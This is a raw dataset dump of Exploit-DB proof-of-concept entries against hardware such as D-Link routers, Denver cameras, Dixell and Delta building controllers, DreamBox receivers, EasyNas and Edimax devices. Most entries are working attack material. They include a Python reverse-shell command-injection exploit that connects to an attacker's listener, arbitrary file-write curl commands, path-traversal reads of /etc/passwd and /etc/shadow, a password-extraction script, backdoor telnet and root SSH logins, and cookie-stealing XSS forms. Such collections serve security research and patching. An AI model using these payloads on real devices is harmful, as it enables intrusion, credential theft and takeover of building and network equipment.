deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50879
Description: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS)
Type: remote
Platform: hardware
Date: 2022-04-19
Author: LiquidWorm

Exploit:
# Exploit Title: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS)
# Exploit Author: LiquidWorm

<!DOCTYPE html>
<html>
<head><title>enteliTouch XSS</title></head>
<body>
<!--

Delta Controls enteliTOUCH 3.40.3935 Cross-Site Scripting (XSS)


Vendor: Delta Controls Inc.
Product web page: https://www.deltacontrols.com
Affected version: 3.40.3935
                  3.40.3706
                  3.33.4005

Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
high-resolution display that serves as an interface to your building.
Use it as your primary interface for smaller facilities or as an
on-the-spot access point for larger systems. The intuitive,
easy-to-navigate interface gives instant access to manage your BAS.

Desc: Input passed to the POST parameter 'Username' is not properly
sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML code in a user's browser session in context
of an affected site.

Tested on: DELTA enteliTOUCH


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5703
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5703.php


06.04.2022

-->


<form action="http://192.168.0.210/deltaweb/hmi_userconfig.asp" method="POST">
  <input type="hidden" name="userInfo" value="" />
  <input type="hidden" name="UL&#95;SelectedOptionId" value="" />
  <input type="hidden" name="Username" value=""><&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script>" />
  <input type="hidden" name="formAction" value="Delete" />
  <input type="submit" value="CSRF XSS Alert!" />
</form>

</body>
</html>
Exploit-DB #50160
Description: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
Type: remote
Platform: hardware
Date: 2021-07-28
Author: Ivan Nikolsky

Exploit:
# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
# Date: 27 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
# Version: Denver SHC-150 (all firmware versions)
# Tested on: Denver SHC-150

Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.

PoC:

```
enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
Trying 192.168.2.118...
Connected to pc192-168-2-118.
Escape character is '^]'.

goke login: default
$ ls /
bin      home     linuxrc  opt      run      tmp
dev      init     media    proc     sbin     usr
etc      lib      mnt      root     sys      var
$ pwd
/home/default
$ exit
Connection closed by foreign host.
enty8080@Ivans-Air ~ %
```
Exploit-DB #50639
Description: Dixell XWEB 500 - Arbitrary File Write
Type: remote
Platform: hardware
Date: 2022-01-05
Author: Roberto Palamaro

Exploit:
# Exploit Title: Dixell XWEB-500 - Arbitrary File Write
# Google Dork: inurl:"xweb500.cgi"
# Date: 03/01/2022
# Exploit Author: Roberto Palamaro
# Vendor Homepage: https://climate.emerson.com/it-it/shop/1/dixell-electronics-sku-xweb500-evo-it-it
# Version: XWEB-500
# Tested on: Dixell XWEB-500
# References: https://www.swascan.com/vulnerability-report-emerson-dixell-xweb-500-multiple-vulnerabilities/

# Emerson Dixell XWEB-500 is affected by multiple Arbitrary File Write Vulnerability

# Endpoint: logo_extra_upload.cgi
# Here the first line of the POC is the filename and the second one is the content of the file be written
# Write file
echo -e "file.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/logo_extra_upload.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'
# Verify
curl -A Chrome -is "http://[target]:[port]/logo/"

# Endpoint: lo_utils.cgi
# Here ACTION=5 is to enable write mode
echo -e "ACTION=5\nfile.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/lo_utils.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream' 
# Verify using ACTION=3 to listing resources
echo -e "ACTION=3" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/lo_utils.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'

# Endpoint: cal_save.cgi
# Here the first line of the POC is the filename and the second one is the content of the file be written
echo -e "file.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/cal_save.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'
# Verify
curl -A Chrome -kis http://[target]:[port]/cgi-bin/cal_dir.cgi
Exploit-DB #50919
Description: DLINK DAP-1620 A1 v1.01 - Directory Traversal
Type: remote
Platform: hardware
Date: 2022-05-11
Author: Momen Eldawakhly

Exploit:
# Exploit Title: DLINK DAP-1620 A1 v1.01 - Directory Traversal
# Date: 27/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://me.dlink.com/consumer
# Version: DAP-1620 - A1 v1.01
# Tested on: Linux
# CVE : CVE-2021-46381

POST /apply.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://84.217.16.220/
Cookie: ID=634855649
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: 84.217.16.220
Connection: Keep-alive

action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass
Exploit-DB #50906
Description: DLINK DIR850 - Insecure Access Control
Type: remote
Platform: hardware
Date: 2022-05-11
Author: Ahmed Alroky

Exploit:
# Exploit Title: DLINK DIR850 - Insecure Access Control
# Product: Dlink
# Model: DIR850
# Date: 14/1/2022
# CVE : CVE-2021-46378
# Exploit Author: Ahmed Alroky
# Hardware version: b1
# Firmware version: ET850-1.08TRb03
# Vendor home page: https://www.dlink.com/

# Exploit : 
Visit http://<IP Address>/config.dat
Exploit-DB #50907
Description: DLINK DIR850 - Open Redirect
Type: remote
Platform: hardware
Date: 2022-05-11
Author: Ahmed Alroky

Exploit:
# Exploit Title: DLINK DIR850 - Open Redirect
# Product: Dlink
# Model: DIR850
# Date: 14/1/2022
# CVE: CVE-2021-46379
# Exploit Author: AhmedAlroky
# Hardware version: b1
# Firmware version: ET850-1.08TRb03
# Vendor home page: https://www.dlink.com/

#Exploit : 
Visit http://<IP Address>/boafrm/formWlanRedirect?redirect-url=http://attacker.com&wlan_id=1
Exploit-DB #17279
Description: DreamBox DM500(+) - Arbitrary File Download
Type: remote
Platform: hardware
Date: 2011-05-13
Author: LiquidWorm

Exploit:
 DreamBox DM500(+) Arbitrary File Download Vulnerability


 Vendor: Dream Multimedia GmbH
 Product web page: http://www.dream-multimedia-tv.de
 Affected version: DM500, DM500+, DM500HD and DM500S

 Summary: The Dreambox is a series of Linux-powered
 DVB satellite, terrestrial and cable digital television
 receivers (set-top box).

 Desc: Dreambox suffers from a file download vulnerability
 thru directory traversal with appending the '/' character
 in the HTTP GET method of the affected host address. The
 attacker can get to sensitive information like paid channel
 keys, usernames, passwords, config and plug-ins info, etc.

 Tested on: Linux Kernel 2.6.9, The Gemini Project, Enigma


 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 Zero Science Lab - http://www.zeroscience.mk


 Advisory ID: ZSL-2011-5013
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5013.php


 22.12.2010


 --------------------------------------------------------------------

 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Autoupdate.key%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../camd3.config%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/keys/camd3.keys%00
Exploit-DB #17422
Description: DreamBox DM800 - Arbitrary File Download
Type: remote
Platform: hardware
Date: 2011-06-21
Author: ShellVision

Exploit:
# Exploit Title: [title]
# Date: [date]
# Author: [ShellVision]
# Version: [dm800 <= 1.6rc3]
# Tested on: [dm800 Release 4.6.0 2009-12-24]



DreamBox DM800 Arbitrary File Download Vulnerability
 
 
Vendor: Dream Multimedia GmbH
Product web page: http://www.dream-multimedia-tv.de
Affected version: DM800 (may affect others version)
 
Summary: The Dreambox is a series of Linux-powered
DVB satellite, terrestrial and cable digital television
receivers (set-top box).
 
Desc: Dreambox suffers from a file download vulnerability
thru directory traversal with appending the '/' character
in the HTTP GET method of the affected host address. The
attacker can get to sensitive information like paid channel
keys, usernames, passwords, config and plug-ins info, etc.

By default, web application is running by root, so catch shadow is
very easy
 
Tested on: 

Devicename:	dm800
Enigma Version:	2009-12-24-master
Image Version:	Release 4.6.0 2009-12-24
Frontprozessor Version:	VNone
Webinterface Version:	1.6rc3

 
Vulnerability discovered by: ShellVision Designer@ShellVision.com
ShellVision - www.shellvision.com
 
 20 Jun 2011
 
 
--------------------------------------------------------------------
 
http://target.com/file?file=/etc/shadow
Exploit-DB #18079
Description: DreamBox DM800 1.5rc1 - File Disclosure
Type: remote
Platform: hardware
Date: 2011-11-04
Author: Todor Donev

Exploit:
#!/usr/bin/perl
#  DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
#  Author: Todor Donev
#  Email: todor.donev@@gmail.com
#  Type: Hardware
#  Vuln Type: Remote
#####
#  Product summary: DreamBox DM800 is Powerful receiver 
#  for digital TV and Radio programs based on Linux.
#  Product web page: http://www.dream-multimedia-tv.de
#####
# playground$ perl dreambox.pl target /etc/passwd
# [+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
# root:<CENSORED>:0:0:root:/home/root:/bin/sh
# daemon:*:1:1:daemon:/usr/sbin:/bin/sh
# bin:*:2:2:bin:/bin:/bin/sh
# sys:*:3:3:sys:/dev:/bin/sh
# sync:*:4:65534:sync:/bin:/bin/sync
# games:*:5:60:games:/usr/games:/bin/sh
# man:*:6:12:man:/var/cache/man:/bin/sh
# lp:*:7:7:lp:/var/spool/lpd:/bin/sh
# mail:*:8:8:mail:/var/mail:/bin/sh
# news:*:9:9:news:/var/spool/news:/bin/sh
# uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
# proxy:*:13:13:proxy:/bin:/bin/sh
# www-data:*:33:33:www-data:/var/www:/bin/sh
# backup:*:34:34:backup:/var/backups:/bin/sh
# list:*:38:38:Mailing List Manager:/var/list:/bin/sh
# irc:*:39:39:ircd:/var/run/ircd:/bin/sh
# gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
# nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
# avahi:x:500:64002:Avahi:/var/run/avahi-daemon:/bin/sh
# ftp:x:501:64003:Linux User,,,:/var/tmp/ftp:/bin/false
# gbox:<CENSORED>:0:0::/:/bin/sh
#
# playground$
#####
#  Thanks to all my friends and special to the best Tsvetelina Emirska, 
#  that support and respect me !! =) 
#####
use LWP::Simple; 
print "[+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure\n";
$host = $ARGV[0];
$d = $ARGV[1];
if(! $ARGV[0]) {
print "[!] usg: perl dreambox.pl <host> </path/file>\n";
exit;
}
if(! $ARGV[1]) {
$d = "/etc/passwd";
}
## Edit here for exploitng DreamBox DM800 <= 1.6rc3 
# my $result = get("http://$host/file?file=$d"); 
## Greetings for ShellVision who found this bug in version 1.6rc3
my $result = get("http://$host/file/?file=$d");
if (defined $result) {
print "\n$result";
}
else {
print "[-] Not vuln.. =(";
}
Exploit-DB #51129
Description: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
Type: remote
Platform: hardware
Date: 2023-03-29
Author: Aryan Chehreghani

Exploit:
# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Date:  2022-11-10
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09
# Firmware Version: ME_1.00
# Tested on: Windows 11

# [ Details - DSL-124 ]:
#The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office,
#With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection,
#Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports,
#the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet.

# [ Description ]:
#After the administrator enters and a new session is created, the attacker sends a request using the post method in her system,
#and in response to sending this request, she receives a complete backup of the router settings,
#In fact this happens because of the lack of management of users and sessions in the network.

# [ POC ]:

Request :

curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi

Response :

HTTP/1.1 200 OK
Connection: close
Server: Virtual Web 0.9
Content-Type: application/octet-stream;
Content-Disposition: attachment;filename="config.img"
Pragma: no-cache
Cache-Control: no-cache

<Config_Information_File_8671>
<V N="WLAN_WPA_PSK" V="pass@12345"/>
<V N="WLAN_WPA_PSK_FORMAT" V="0x0"/>
<V N="WLAN_WPA_REKEY_TIME" V=""/>
<V N="WLAN_ENABLE_1X" V="0x0"/>
<V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/>
<V N="WLAN_RS_IP" V="0.0.0.0"/>
.
.
.
</Config_Information_File_8671>
Exploit-DB #51266
Description: EasyNas 1.1.0 - OS Command Injection
Type: remote
Platform: hardware
Date: 2023-04-06
Author: Ivan Spiridonov

Exploit:
# Exploit Title: EasyNas 1.1.0 - OS Command Injection
# Date: 2023-02-9
# Exploit Author: Ivan Spiridonov (ivanspiridonov@gmail.com)
# Author Blog: https://xbz0n.medium.com
# Version: 1.0.0
# Vendor home page : https://www.easynas.org
# Authentication Required: Yes
# CVE : CVE-2023-0830

#!/usr/bin/python3

import requests
import sys
import base64
import urllib.parse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Disable the insecure request warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) < 6:
    print("Usage: ./exploit.py http(s)://url username password listenerIP listenerPort")
    sys.exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]

# Create the payload
payload = "/bin/sh -i >& /dev/tcp/{}/{} 0>&1".format(sys.argv[4], sys.argv[5])

# Encode the payload in base64
payload = base64.b64encode(payload.encode()).decode()

# URL encode the payload
payload = urllib.parse.quote(payload)

# Create the login data
login_data = {
    'usr':user,
    'pwd':password,
    'action':'login'
}

# Create a session
session = requests.Session()

# Send the login request
print("Sending login request...")
login_response = session.post(f"https://{url}/easynas/login.pl", data=login_data, verify=False)

# Check if the login was successful
if 'Login to EasyNAS' in login_response.text:
    print("Unsuccessful login")
    sys.exit()
else:
    print("Login successful")


# send the exploit request
timeout = 3

try:
    exploit_response = session.get(f'https://{url}/easynas/backup.pl?action=backup&menu=none&.submit=Backup&name=%7cecho+{payload}+%7c+base64+-d+%7c+sudo+sh+%7c%7ca+%23', headers={'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0'}, timeout = timeout, verify=False)
    if exploit_response.status_code != 200:
        print("[+] Everything seems ok, check your listener.")
    else:
        print("[-] Exploit failed, system is patched or credentials are wrong.")

except requests.exceptions.ReadTimeout:
    print("[-] Everything seems ok, check your listener.")
    sys.exit()
Exploit-DB #28888
Description: ECI Telecom B-Focus ADSL2+ Combo332+ Wireless Router - Information Disclosure
Type: remote
Platform: hardware
Date: 2006-10-31
Author: LegendaryZion

Exploit:
source: https://www.securityfocus.com/bid/20834/info

ECI Telecom's B-FOCuS ADSL2+ Combo332+ wireless router is prone to an information-disclosure vulnerability. The router's Web-Based Management interface fails to authenticate users before providing access to sensitive information.

Exploiting this issue may allow an unauthenticated remote attacker to retrieve sensitive information from the affected device, which may aid in further attacks.

http://www.example.com/html/defs/
Exploit-DB #26022
Description: ECI Telecom B-FOCuS Router 312+ - Unauthorized Access
Type: remote
Platform: hardware
Date: 2005-07-25
Author: d.is.evil

Exploit:
source: https://www.securityfocus.com/bid/14364/info

B-FOCuS Router 312+ is affected by a vulnerability that can allow unauthorized attackers to gain access to an affected device.

An attacker can disclose the administrator password through the Web interface of the device.

This can lead to a complete compromise of the router. 

http://www.example.com/cgi-bin/firmwarecfg
Exploit-DB #23528
Description: Edimax AR-6004 ADSL Router - Management Interface Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2004-01-06
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/9374/info

Edimax AR-6004 ADSL Routers are prone to cross-site scripting attacks via the web management interface of affected devices. An attacker could exploit this issue by enticing a victim user to follow a malicious link to a site hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could potentially be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://www.example.com/<script>alert('XSS')</script>
Exploit-DB #37405
Description: Edimax IC-3030iWn - UDP Packet Password Information Disclosure
Type: remote
Platform: hardware
Date: 2012-06-14
Author: y3dips

Exploit:
source: https://www.securityfocus.com/bid/54006/info

Edimax IC-3030iWn is prone to an information-disclosure vulnerability.

Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. 

#!/usr/bin/env python
"""
# Exploit Title: Edimax IC-3030iWn Web Admin Auth Bypass exploit
# Date: 4 April 2012
# Exploit Author: y3dips@echo.or.id, @y3dips
# URL: http://echo.or.id
# Vendor Homepage: http://www.edimax.com
# Sourcecode Link: http://www.edimax.com/en/produce_detail.php?pd_id=352&pl1_id=8&pl2_id=91
# Also Tested on:
   - Edimax IC-3015
   - Airlive WN 500
# Bug found by: Ben Schmidt for RXS-3211 IP camera http://www.securityfocus.com/archive/1/518123
# To successfully automate your browser launch, change browser path.
"""

import socket
import webbrowser
import sys

if len(sys.argv) != 2:
    print "Eg: ./edimaxpwned.py edimax-IP"
    sys.exit(1)

port=13364
target= sys.argv[1]


def read_pw(target, port):
    devmac = "\xff\xff\xff\xff\xff\xff"
    code="\x00\x06\xff\xf9" #for unicast reply
    data=devmac+code
    sock =socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    sock.connect((target,port))
    try:
        sock.send(data)
        sock.settimeout(5)
        tmp = sock.recv(4096)
        return tmp
    except socket.timeout:
        return None

def pwned_edi():
    data=read_pw(target, port)
    if data != None:
        data=data[365:377]
        pw=data.strip("\x00")
        webbrowser.get("/Applications/Firefox.app/Contents/MacOS/firefox-bin %s" ).open('http://admin:'+pw+'@'+target+'/index.asp')
    else:
        print "Socket timeOut or not Vulnerable"

pwned_edi()
Exploit-DB #47625
Description: eMerge E3 Access Controller 4.6.07 - Remote Code Execution
Type: remote
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: eMerge E3 Access Controller 4.6.07 - Remote Code Execution
# Google Dork: NA
# Date: 2018-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 4.6.07
# Tested on: NA
# CVE : CVE-2019-7265
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

#!/usr/bin/env python
#
# ====
# python lineare3_sshroot.py 192.168.1.2
# [+] Connecting to 192.168.1.2 on port 22: Done
# [!] Only Linux is supported for ASLR checks.
# [*] root@192.168.1.2:
#     Distro    Unknown Unknown
#     OS:       Unknown
#     Arch:     Unknown
#     Version:  0.0.0
#     ASLR:     Disabled
#     Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
# [+] Opening new channel: 'shell': Done
# [*] Switching to interactive mode
# Last login: Fri Nov  1 04:21:44 2019 from 192.168.2.17
# root@imx6slevk:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@imx6slevk:~# pwd
# /home/root
# root@imx6slevk:~# exit
# logout
# [*] Got EOF while reading in interactive
# [*] Closed SSH channel with 192.168.1.2
# ====

from pwn import *

if len(sys.argv) < 2:
    print 'Usage: ./e3.py <ip>\n'
    sys.exit()

ip = sys.argv[1]
rshell = ssh('root', ip, [CREDENTIAL_REDACTED]', port=22)
rshell.interactive()
Exploit-DB #36833
Description: Endian Firewall 2.4 - 'dansguardian.cgi?addrule' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2012-02-27
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52076/info
  
Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.
  
https://www.example.com/cgi-bin/dansguardian.cgi#addrule[XSS]
Exploit-DB #36832
Description: Endian Firewall 2.4 - 'dnat.cgi?createrule' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2012-02-27
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52076/info
 
Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.
 
https://www.example.com/cgi-bin/dnat.cgi#createrule[XSS]
Exploit-DB #36831
Description: Endian Firewall 2.4 - 'openvpn_users.cgi?PATH_INFO' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2012-02-27
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52076/info

Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. 

https://www.example.com/cgi-bin/openvpn_users.cgi?=[XSS]